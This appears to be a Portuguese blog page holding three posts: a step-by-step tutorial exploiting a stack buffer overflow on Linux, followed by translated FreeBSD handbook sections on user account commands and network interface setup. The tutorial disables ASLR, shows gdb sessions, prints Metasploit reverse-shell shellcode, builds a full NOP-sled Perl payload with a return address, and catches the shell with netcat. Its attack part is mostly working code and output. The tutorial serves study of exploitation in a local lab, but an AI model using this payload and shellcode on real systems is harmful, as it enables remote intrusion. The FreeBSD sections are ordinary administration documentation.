Ensinarei como explorar esta falha em sistemas Unix. Causarei um buffer overflow para conseguir invocar uma shell reversamente, explicarei cada passo meu para o melhor entendimento.

Este é o nosso programa vulnerável a buffer overflow:


/* vuln.c */
#include
#include
#include

int bof(char *string) {

char buffer[1024];

strcpy(buffer, string);

return 1;
}

int main(int argc, char *argv[]) {

bof(argv[1]);
printf("Pronto!\n");

return 1;
}


Este programa, simplesmente recebe as strings do usuário e copia pro buffer, o qual tem a capacidade de 1024 bytes de dados. Se for enviado mais do que isso, causará um buffer overflow, e isso re-escreverá partes da memória.

Vamos compilá-lo:

bt NSG # gcc vuln.c -o vuln

Ah, precisamos desativar o patch do VA para conseguirmos exploitar o buffer overflow:

bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG # echo 0 > /proc/sys/kernel/randomize_va_space
bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG #


Agora, usaremos um debugger chamdo gdb para ver o que acontece quando é enviado mais que 1024 bytes de dado.
Usarei o Perl para conseguir enviar um buffer com 1040 bytes de dado:


bt NSG # gdb ./vuln
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run ´perl -e 'print "A"x1040'´
Starting program: /root/NSG/vuln ´perl -e 'print "A"x1040'´

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Como você pode ver, eu enviei uma string de 1040*A, A é 0x41 em sua forma hexadecimal.
Agora vamos analizar quais partes da memória foram sobre-escritos:


(gdb) i r
eax 0x1 1
ecx 0xfffff9e6 -1562
edx 0xbffff8aa -1073743702
ebx 0xb7fcc000 -1208172544
esp 0xbffff290 0xbffff290
ebp 0x41414141 0x41414141
esi 0xb7fce17c -1208163972
edi 0x2 2
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)


Preste bastante atenção a esta parte:

eip 0x41414141 0x41414141

EIP é Extended Instruction Pointer, é nele que fica os endereços para a próxima instrução. Basicamente, ele aponta para o endereço onde o próximo pedaço de código será executado.
Então, sobre-escrevendo o eip com um endereço que contem um código nosso, nos permitirá que controlemos o fluxo(flow) do programa.
Nós sobre-escrevemos o eip com 41414141 que é AAAA. Porém, 41414141 não contém nenhum código e é uma parte inválida da memória que está sendo apontada.

Então precisamos apontar para um código nosso ;)

Para executar um código nosso, usaremos algo que se chama ShellCode(sim, o famoso).
O ShellCode, também conhecido por Bytecode, contém um conjunto de instruções do cpu. Não vamos falar sobre como criar nosso próprio ShellCode neste tópico(talvez mais pra frente ;)), então usaremos o metasploit para gerar um.

Primeiro, nós precisamos mandar o netcat ficar escutando e esperando por uma shell, vamos à escuta:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...


E vamos verificar nosso endereço IP:


bt ~ # ifconfig |grep inet
inet addr:192.168.0.6 Bcast:192.168.0.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
bt ~ #


Nosso endereço IP é 192.168.0.6. Agora, precisamos checar se o netcat está escutando devidamente:


bt ~ # netstat -an |grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
bt ~ #


Certo, agora vá no site http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse
para gerarmos nossa ShellCode.
Complete o formulário da seguinte forma:

LHOST Required ADDR = 192.168.0.6 (aqui você coloca o seu endereço ip)
LPORT Required PORT = 9999

e clique em "Generate Payload.."

Ele gerará isto:

/* linux_ia32_reverse - LHOST=192.168.0.6 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76"
"\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9"
"\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98"
"\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73"
"\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab"
"\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3";


Como vocês devem ter percebido, o ShellCode tem 96 bytes.
Vamos pegar apenas o necessário:

\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3

Este ShellCode se conecta ao IP 192.168.0.6 pela porta 9999, que é onde o netcat está escutando, e nos dá uma shell.

Agora para encontrar nosso ShellCode na memória é um saco, então usaremos a técnica do NOP.
NOP é uma instruçãop que não faz nada( No Operation, 0x90)

Então, colocaremos algumas instruções NOP(nopsled) antes de nosso ShellCode, e apontaremos o eip para algum lugar de nosso NOPSLED, nossa payload ficará assim:

[dados inúteis - A (0x41)] [nopsled] - [ShellCode] [eip]

Agora nós precisamos calcular quanto, exatamente, precisamos enviar:

nós usamos 1040 bytes para sobre-carregar o eip com 0x41414141
eip são 4 bytes, então:
1040 - 4 = 1036
precisamos de 96 bytes para nosso ShellCode, então
1036 - 96 = 940
E nós podemos usar 940 bytes para nossos 'dados inúteis' e nosso nopsled.
Usarei 340 bytes para nosso nopsled, então será 340 x 0x90
940 - 340 = 600
E sobraram 600 bytes para usarmos de 'dados inúteis', ou seja, são 600 x A (0x41)
Nossa payload deverá ficar assim:

600x A(0x41) + 340 x NOP(0x90) + 96 bytes do ShellCode + 4 bytes do EIP = 1040 bytes

PAYLOAD:

´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`


Sobre-escreverei o eip com BBBB (0x42424242) apenas para um melhor entendimento.


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)


Como você pode ver, o eip foi sobre-escrito com 0x42424242 que é a parte da nossa payload que foi usada para sobre-escrever o eip.
Agora, precisamos apontar o eip para nosso nopsled ao invés de 0x42424242.
Vamos analizar nossa memória para vermos onde o nosso nopsled está:


(gdb) x/2000xb $esp


Agora aperta enter até ver uma grande quantidade de intruções NOP:


0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90


Antes do nosso nopsled, podemos ver nossos dados inúteis cheios de A(0x41), que foi como construímos nossa payload ;)
Após nosso NOPSLED, temos nosso ShellCode:


0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x33 0xc9 0x83
0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4
---Type to continue, or q to quit---
0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16
0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88
0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52
0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16
0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1
0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98
0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a
0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3


Como você pode ver, nosso ShellCode começa com \x33.
Agora, nós precisamos sobre-escrever o eip de forma que aponte para algum lugar em nosso nopsled.
Isso irá executar as instruções NOP até chegar ao nosso ShellCode, que nos trará uma shell reversamente na porta 9999.

Vamos escolher um endereço que se encontra nosso nopsled, pegarei como exemplo este:

0xbffff740

Vamos escrever no formato "little-endian"(ao contrário):

\x40\xf7\xff\xbf

E vamos colocar isto em nossa payload, que ficará assim:


´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`


Agora vamos rodar o programa usando nossa payload como argumento:


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`


Agora vamos voltar ao netcat, o qual deixamos escutando na porta 9999:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...
192.168.0.6: inverse host lookup failed: No address associated with name
connect to [192.168.0.6] from (UNKNOWN) [192.168.0.6] 59126

uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz GenuineIntel GNU/Linux


É isso ae, pessoal, qualquer duvida, postem aqui que eu respondo ;)

Escrito por: Fzero

Modificando contas em ambientes Unix

0 comentários
Existe uma variedade de comandos diferentes disponíveis no ambiente UNIX® para manipular contas de usuários. Os comandos mais comuns estão sumariados abaixo, seguidos por exemplos mais detalhados de seu uso.
Comando Sumário
adduser(8) O comando recomendado para adicionar novos usuários.
rmuser(8) O comando recomendado para excluir usuários.
chpass(1) Uma ferramenta flexível para alterar informações de usuários.
passwd(1) Um simples comando para alterar a senha do usuário
pw(8) Uma podereosa e flexível ferramenta para alterar todos os aspectos das contas de usuários.

8.6.1. adduser

adduser(8) é um programa simples para adicionar novos usuários. Cria entradas nos arquivos passwd e group. Criará também um diretório home para o usuário novo, copia os arquivos de configuração padrão (``dotfiles'') de /usr/share/skel, e pode opcionalmente enviar ao usuário novo uma mensagem de boas vindas.
No FreeBSD 5.0, o adduser(8) foi rescrito de rotinas em linguagem Perl para um ``shell script'' que trabalha em conjunto com o pw(8), assim seu uso é ligeiramente diferente no FreeBSD 4.X e no FreeBSD 5.X.
Para criar a configuração inicial, use adduser -s -config_create. [1] Em seguida, configuramos os padrões do adduser(8), e criamos a nossa primeira conta de usuário, uma vez que utilizar a conta root para uso normal é um péssimo hábito.
Exemplo 8-1. Configurando adduser e adicionando um usuário no FreeBSD 4.X
# adduser -v
Use option ``-silent'' if you don't want to see all warnings and questions.
Check /etc/shells
Check /etc/master.passwd
Check /etc/group
Enter your default shell: csh date no sh tcsh zsh [sh]: zsh
Your default shell is: zsh -> /usr/local/bin/zsh
Enter your default HOME partition: [/home]:
Copy dotfiles from: /usr/share/skel no [/usr/share/skel]:
Send message from file: /etc/adduser.message no
[/etc/adduser.message]: no
Do not send message
Use passwords (y/n) [y]: y

Write your changes to /etc/adduser.conf? (y/n) [n]: y

Ok, let's go.
Don't worry about mistakes.  I will give you the chance later to correct any input.
Enter username [a-z0-9_-]: jua
Enter full name []: J.  Usuario Aleatorio
Enter shell csh date no sh tcsh zsh [zsh]:
Enter home directory (full path) [/home/jua]:
Uid [1001]:
Enter login class: default []:
Login group jua [jua]:
Login group is ``jua''.  Invite jua into other groups: guest no
[no]: wheel
Enter password []:
Enter password again []:

Name:     jua
Password: ****
Fullname: J.  Usuario Aleatorio
Uid:      1001
Gid:      1001 (jua)
Class:  
Groups:   jua wheel
HOME:     /home/jua
Shell:    /usr/local/bin/zsh
OK? (y/n) [y]: y
Added user ``jua''
Copy files from /usr/share/skel to /home/ua
Add another user? (y/n) [y]: n
Goodbye!
#
Em resumo, nós mudamos a shell padrão para zsh (uma shell adicional encontrada na coleção de ports), e desligamos o envio de um e-mail de boas vindas para o usuário adicionado. Nós salvamos as configurações, criamos uma conta com o nome de jua, e certificamos que jua faz parte do grupo wheel (de modo que possa assumir os privilégios do usuário root com o comando su(1).)
Nota: A senha que você digita não aparece, nem são mostrados asteriscos. Certifique-se que você não digitou dias vezes a senha errôneamente.
Nota: Use o adduser(8) sem argumentos de agora em diante, e você não terá que redefinir as opções padrão. Se o programa solicitar que os padrões sejam modificados, saia dele, e tente a opção -s.
Exemplo 8-2. Adicionando um usuário em FreeBSD 5.X
# adduser
Username: jua
Full name: J.  Usuario Aleatorio
Uid (Leave empty for default):
Login group [jua]:
Login group is jua.  Invite jua into other groups? []: wheel
Login class [default]:
Shell (sh csh tcsh zsh nologin) [sh]: zsh
Home directory [/home/jua]:
Use password-based authentication? [yes]:
Use an empty password? (yes/no) [no]:
Use a random password? (yes/no) [no]:
Enter password:
Enter password again:
Lock out the account after creation? [no]:
Username   : jua
Password   : ****
Full Name  : J. Usuario Aleatorio
Uid : 1001
Class      :
Groups     : jia wheel
Home       : /home/jua
Shell      : /usr/local/bin/zsh
Locked     : no
OK? (yes/no): yes
adduser: INFO: Successfully added (jua) to the user database.
Add another user? (yes/no): no
Goodbye!
#

8.6.2. rmuser

Você pode utilizar o rmuser(8) para remover completamente um usuário do sistema. rmuser(8) executa as seguintes etapas:
  1. Remove as entradas crontab(1) do usuário (se houver alguma).
  2. Remove todos os trabalhos pendentes no at(1), que pertencem ao usuário.
  3. Mata todos os processos controlados pelo usuário.
  4. Remove o usuário do arquivo de senha local do sistema
  5. Remove o diretório home do usuário (se este for de autoridade do usuário)
  6. Remove o arquivo de armazenamento de mensagens de correio eletrônico que pertence ao usuário, em /var/mail.
  7. Remove todos os arquivos de posse do usuário nas áreas temporárias de gravação de arquivos, como /tmp.
  8. Finalmente, remove o nome do usuário de todos os grupos que ele pertence, em /etc/group.
    Nota: Se um grupo se tornar vazio e o nome do grupo for o mesmo que o nome do usuário, o grupo será removido; isto inclui os grupos originais que é opcionalmente criado para cada usuário pelo adduser(8).


rmuser(8) não pode ser usado para remover contas de super usuários, pois isso aponta indícios de modificações prejudiciais no sistema.
Por padrão, a aplicação funciona em modo interativo, e tenta confirmar que você está certo do que está fazendo.
Exemplo 8-3. rmuser Remoção interativa de contas
# rmuser jua
Matching password entry:
jua:*:1001:1001::0:0:J. Usuario Aleatorio:/home/jru:/usr/local/bin/zsh
Is this the entry you wish to remove? y
Remove user's home directory (/home/jua)? y
Updating password file, updating databases, done.
Updating group file: trusted (removing group jua -- personal group is empty) done.
Removing user's incoming mail file /var/mail/jua: done.
Removing files belonging to jua from /tmp: done.
Removing files belonging to jua from /var/tmp: done.
Removing files belonging to jua from /var/tmp/vi.recover: done.
#

8.6.3. chpass

O chpass(1) modifica informações da base de dados do usuário tais como senhas, interpretadores de comandos e informações pessoais.
Apenas administradores do sistema, como o super usuário, podem alterar informações e senhas de outros usuários com chpass(1).
Quando passado sem opções, com exceção de um usuário opcional, chpass(1) abrirá um editor contendo as informações do usuário. Quando o usuário sair do editor, a base de dados do usuário será atualizada com as novas informações.
Nota: No FreeBSD 5.X, você será questionado sobre a senha senha depois que sair do editor, caso você não seja um super usuário.
Exemplo 8-4. Usando o chpass de forma interativa pelo super usuário
#Changing user database information for jua.
Login: jua
Password: *
Uid [#]: 1001
Gid [# or name]: 1001
Change [month day year]:
Expire [month day year]:
Class:
Home directory: /home/jua
Shell: /usr/local/bin/zsh
Full Name: J. Usuario Aleatorio
Office Location:
Office Phone:
Home Phone:
Other information:
O usuário normal pode alterar somente um subconjunto pequeno destas informações, e somente para ele mesmo.
Exemplo 8-5. Usando o chpass de forma interativa por um usuário normal
#Changing user database information for jua.
Shell: /usr/local/bin/zsh
Full Name: J. Usuario Aleatorio
Office Location:
Office Phone:
Home Phone:
Other information:
Nota: chfn(1) e chsh(1) são sinônimos de chpass(1). São links simbólicos para esta aplicação. Da mesma forma, ypchpass(1), ypchfn(1), e ypchsh(1) também o são. O suporte à NIS é automático, de forma que especificar yp antes do comando torna-se dispensável. Se isso parece confuso para você, não se preocupe pois o assunto NIS será abordado em Capítulo 19.

8.6.4. passwd

O comando passwd(1) é a maneira usual de modificar sua própria senha, ou a senha de um outro usuário, caso você tenha privilégios de administrador.
Nota: Os usuários comuns devem digitar sua senha original, antes de definir a nova senha, para impedir que uma pessoa desautorizada modifique-a, quando o verdadeiro dono estiver ausente mas manteve o console aberto.
Exemplo 8-6. Alterando sua senha
% passwd
Changing local password for jua.
Old password:
New password:
Retype new password:
passwd: updating the database...
passwd: done
Exemplo 8-7. Alterando a senha de outro usuário, tendo os privilégios do super usuário
# passwd jua
Changing local password for jua.
New password:
Retype new password:
passwd: updating the database...
passwd: done
Nota: O chpass(1), bem como yppasswd(1), também é um link simbólico para passwd(1), de forma que o NIS possa trabalhar com um ou outro comando.

8.6.5. pw

pw(8) é um comando utilitário cuja função é criar, remover, alterar e apresentar usuários e grupos. Ele funciona como um front end para os arquivos de usuários e grupos do sistema. O pw(8) tem um conjunto muito completo de opções e comandos que o torna apropriado para o uso em scripts shell, mas os usuários novos podem acha-lo mais complexo do que os outros comandos apresentados aqui.

Notas

[1] A opção -s faz o adduser(8) por padrão ficar em modo silencioso. Usaremos -v mais tarde quando quizermos modificar estes padrões.


Fonte

Configurando Interfaces de Rede no FreeBSD

0 comentários
Contribuição de Marc Fonvieille.
Nos dias de hoje é difícil pensar em um computador sem conexão de rede. Adicionar e configurar uma placa de rede é uma tarefa comum para qualquer administrador FreeBSD.

6.8.1. Encontrando o Driver Correto

Antes de começar, você deve saber o modelo da placa que você possui, o chip que ela usa, se é PCI ou ISA. FreeBSD tem suporte à uma grande variedade de plavas PCI e ISA. Verifique a Lista de Compatibilidade de Hardware da sua versão e veja se a sua placa é suportada.
Uma vez que a placa possui suporte, você precisa determinar o driver para ela. O arquivo /usr/src/sys/i386/conf/LINT te dará uma lista de drivers de placa de rede com alguma informação sobre os chipsets suportados. Se você estiver com dúvidas sobre qual driver é o correto, leia a página de manual do driver. O manual te dará informações sobre os dispositivos suportados e até sobre problemas que podem ocorrer.
Se você possui uma placa comum, provavelmente você não precisará procurar tanto por um driver. Drivers para as placas de rede mais comuns estão presentes no arquivo de kernel GENERIC, então sua placa deve aparecer durante a inicialização, tipo:
dc0: <82c169 PNIC 10/100BaseTX> port 0xa000-0xa0ff mem 0xd3800000-0xd38
000ff irq 15 at device 11.0 on pci0
dc0: Ethernet address: 00:a0:cc:da:da:da
miibus0:  on dc0
ukphy0:  on miibus0
ukphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
dc1: <82c169 PNIC 10/100BaseTX> port 0x9800-0x98ff mem 0xd3000000-0xd30
000ff irq 11 at device 12.0 on pci0
dc1: Ethernet address: 00:a0:cc:da:da:db
miibus1:  on dc1
ukphy1:  on miibus1
ukphy1:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
Neste exemplo, note que duas placas usam o driver dc(4), que já está presente no sistema.
Para usar a sua placa de rede você precisa carregar o driver apropriado. Isto pode ser feito de duas maneiras. A mais fácil é simplesmente carregar um módulo de kernel para a sua placa com o kldload(8). Um módulo não é disponível para todos os drivers de placa de rede (placas ISA que usam ed(4), por exemplo). Alternativamente, você pode compilar estaticamente o suporte para a sua placa no kernel. Verifique o arquivo /usr/src/sys/i386/conf/LINT e a página de manual do driver para saber o que adicionar ao seu arquivo de configuração do kernel. Para maiores informações de como recompilar seu kernel por favor veja o Capítulo 9. Se a sua placa foi detectada pelo seu kernel (GENERIC) durante a inicialização você não precisa construir um novo kernel.

6.8.2. Configurando a Placa de Rede

Uma vez que o driver correto da placa de rede está carregado, a placa precisar ser configurada. Como muitas outras coisas, a placa de rede pode ter sido configurada durante a instalação pelo sysinstall.
Para mostrar a configuração das placas de rede do seu sistema, entre com o seguinte comando:
% ifconfig
dc0: flags=8843 mtu 1500
    inet 192.168.1.3 netmask 0xffffff00 broadcast 192.168.1.255
    ether 00:a0:cc:da:da:da
    media: Ethernet autoselect (100baseTX )
    status: active
dc1: flags=8843 mtu 1500
    inet 10.0.0.1 netmask 0xffffff00 broadcast 10.0.0.255
    ether 00:a0:cc:da:da:db
    media: Ethernet 10baseT/UTP
    status: no carrier
lp0: flags=8810 mtu 1500
lo0: flags=8049 mtu 16384
    inet 127.0.0.1 netmask 0xff000000
tun0: flags=8010 mtu 1500
Nota: Versões antigas do FreeBSD podem requerer o parâmetro -a seguido de ifconfig(8), para mais detalhes sobre a sintaxe correta do ifconfig(8) por favor leia a página de manual. Note que também existem entradas referentes à IPv6 (inet6 etc.) que foram omitidas neste exemplo.
Neste exemplo, os seguintes dispositivos foram mostrados:
  • dc0: A primeira interface Ethernet
  • dc1: A segunda interface Ethernet
  • lp0: A interface de porta paralela
  • lo0: O dispositivo loopback
  • tun0: O dispositivo tunnel usado para ppp
O FreeBSD usa o nome do driver seguido pela ordem na qual cada placa é detectada na inicialização do kernel para dar nome à placa. Por exemplo, sis2 pode ser a terceira placa de rede no sistema usando o driver sis(4).
Neste exemplo, o dispositivo dc0 está no ar. Os indicadores chave são:
  1. UP siginifica que a placa está configurada e pronta para uso.
  2. A placa tem um endereço Internet (inet) (neste caso 192.168.1.3).
  3. Tem uma máscara de rede válida (netmask; 0xffffff00 que é o mesmo que 255.255.255.0).
  4. Possui um endereço de broadcast válido (neste caso, 192.168.1.255).
  5. Possui um endereço MAC para a placa (ether) is 00:a0:cc:da:da:da
  6. A seleção física de mídia está no modo automático (media: Ethernet autoselect (100baseTX )). Podemos ver que o dispositivo dc1 foi configurado para 10baseT/UTP. Para mais informações a respeito de tipos de mídia para um determinado driver, por favor verifique a respectiva página de manual.
  7. O estado da conexão (status) é active, ou seja, a conexão foi detectada. Para dc1, vemos status: no carrier. Isto é normal quando o cabo não está conectado à placa.
Se a saída do ifconfig(8) mostrou algo parecido com
dc0: flags=8843 mtu 1500
        ether 00:a0:cc:da:da:da
pode indicar que a placa não foi configurada.
Para configurar sua placa, você precisa de previlégios de root. A configuração da placa de rede pode ser feita a partir da linha de comando com o ifconfig(8) mas você vai precisar refazer a configuração após cada inicializaçao. O arquivo /etc/rc.conf é o lugar para adicionar a configuração da placa de rede.
Abra o arquivo /etc/rc.conf no seu editor preferido. Você precisa adicionar uma linha para cada placa de rede presente no sistema, por exemplo, em nosso caso, adicionamos estas duas linhas:
ifconfig_dc0="inet 192.168.1.3 netmask 255.255.255.0"
ifconfig_dc1="inet 10.0.0.1 netmask 255.255.255.0 media 10baseT/UTP"
Você precisa substituir dc0, dc1, e assim sucessivamente, com nomes de dispositivos corretos para suas placas, e os endereços apropriados. Você deve ler as páginas de manual do driver e ifconfig(8) para mais detalhes a respeito das opções permitidas e também rc.conf(5) para mais informações sobre a sintaxe em /etc/rc.conf.
Se você configurou a rede durante a instalação, algumas linhas de placa(s) de rede podem já estar presentes. Faça uma verificação dupla no arquivo /etc/rc.conf antes de adicionar qualquer linha.
Você também terá que editar o arquivo /etc/hosts para adicionar nomes e endereços IP das máquinas da Rede Local, se estes nomes ainda não estiverem lá. Para mais informações veja hosts(5) e /usr/share/examples/etc/hosts.

6.8.3. Testes e Resolução de Problemas

Uma vez feitas as configurações necessárias no /etc/rc.conf, você deve reinicializar seu sistema. Isto fará com que as mudanças em sua(s) placa(s) de rede sejam aplicadas, e verifique se seu sistema reinicializa sem erros de configuração.
